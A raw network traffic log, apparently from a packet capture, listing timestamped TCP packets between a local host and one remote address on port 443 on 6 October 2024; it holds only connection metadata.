Oct 6, 2024 22:33:33.786458015 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.786618948 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.786650896 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.786675930 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.786690950 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.789329052 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.789362907 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.789449930 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.789608002 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.789623022 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.252088070 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.252759933 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.252788067 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.253246069 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.253251076 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.255595922 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.255969048 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.255985975 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.256607056 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.256611109 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.260787010 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.261045933 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.261094093 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.261329889 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.261343002 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.266664982 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.266899109 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.266916990 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.267168999 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.267174006 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.355993032 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.356014967 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.356070995 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.356075048 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.356133938 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.356391907 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.356414080 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.356424093 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.356430054 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.359596968 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.359632015 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.359713078 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.359909058 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.359922886 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.362478971 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.362509012 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.362550974 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.362560987 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.362597942 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.362747908 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.362756014 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.362766027 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.362770081 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.364959955 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.365001917 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.365094900 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.365238905 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.365255117 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.367023945 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.367080927 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.367151022 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.367239952 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.367275000 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.367302895 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.367316961 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.369179010 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.369201899 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.369267941 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.369384050 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.369400978 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.376481056 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.376554966 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.376600981 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.376601934 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.376652956 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.376744986 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.376760960 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.376770973 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.376775980 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.378725052 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.378736019 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.378822088 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.378963947 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.378982067 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.437345028 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.437743902 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.437752962 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.438178062 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.438183069 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.536236048 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.536422014 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.536484957 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.536524057 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.536530018 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.536540031 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.536542892 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.538983107 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.539077044 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.539166927 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.539288998 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.539308071 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.998723030 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.999479055 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.999502897 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:34.999933004 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:34.999938011 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.000545979 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.000822067 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.000848055 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.001230955 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.001235962 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.017221928 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.019606113 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.019639015 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.020189047 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.020195007 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.059192896 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.059598923 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.059637070 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.059875965 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.059884071 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.099786997 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.100013971 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.100070000 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.100106001 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.100119114 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.100130081 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.100135088 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.102967024 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.103003979 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.103245974 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.103590012 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.103605032 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.107625008 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.107752085 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.107810020 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.107831001 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.107845068 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.107852936 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.107857943 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.110239029 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.110265017 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.110333920 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.110455990 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.110471010 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.116905928 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.117161989 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.117218971 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.117240906 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.117254019 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.117264986 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.117269039 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.119259119 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.119266987 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.119324923 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.119441986 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.119452000 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.167691946 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.168169975 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.168219090 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.168229103 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.168242931 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.168287992 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.168314934 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.168318987 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.168327093 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.168330908 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.170133114 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.170156956 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.170263052 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.170455933 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.170465946 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.173500061 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.173906088 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.173916101 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.174261093 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.174264908 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.276016951 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.276053905 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.276089907 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.276137114 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.276726961 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.276738882 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.276750088 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.276753902 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.279479980 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.279500961 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.279623032 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.280045986 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.280057907 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.744832993 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.752382994 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.753669977 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.806350946 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.806554079 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.809758902 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.863318920 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.872654915 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.872668028 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.873117924 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.873128891 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.873151064 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.873156071 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.873939037 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.873943090 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.874607086 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.874612093 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.875042915 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.875046968 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.875052929 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.875056982 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.875410080 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.875415087 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.968751907 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.968776941 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.968821049 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.968822002 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.968961000 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.969218969 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.969218969 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.969234943 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.969243050 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.969721079 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.969856977 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.969907045 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.970840931 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.970844984 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.970854044 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.970859051 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.973819971 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.974442005 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.974486113 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.975439072 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.975439072 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.975454092 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.975451946 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.975451946 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.975462914 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.975553036 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.975579023 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.975586891 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.975645065 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.975658894 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.975667953 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.975704908 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.975765944 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.975779057 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.976082087 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.976092100 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.976347923 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.976361036 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.976371050 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.976375103 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.978909016 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.979001045 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.979070902 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.979105949 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.979125977 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.979166031 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.979259014 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.979293108 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.979435921 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.979449987 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.988195896 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.988533974 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.988559008 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:35.989012957 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:35.989023924 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.089067936 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.089200974 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.089288950 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.089459896 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.089497089 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.089523077 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.089540958 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.092684984 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.092706919 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.092792988 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.092967033 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.092976093 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.619432926 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.620009899 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.620038033 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.620537043 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.620543957 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.624176025 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.624439001 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.624486923 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.624761105 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.624767065 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.636903048 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.637366056 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.637403011 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.637567043 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.637573957 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.654942036 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.655343056 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.655375004 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.655682087 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.655688047 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.718888044 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.719139099 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.719216108 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.719259977 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.719275951 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.719305992 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.719311953 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.722035885 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.722201109 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.722264051 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.722287893 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.722310066 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.722316027 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.722330093 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.722340107 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.722346067 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.722383976 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.722512007 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.722522974 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.724519968 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.724539042 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.724605083 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.724745989 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.724760056 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.739483118 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.739541054 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.739682913 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.739717007 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.739731073 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.739744902 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.739751101 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.741590977 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.741667986 CEST	443	49928	13.107.246.45	192.168.2.4
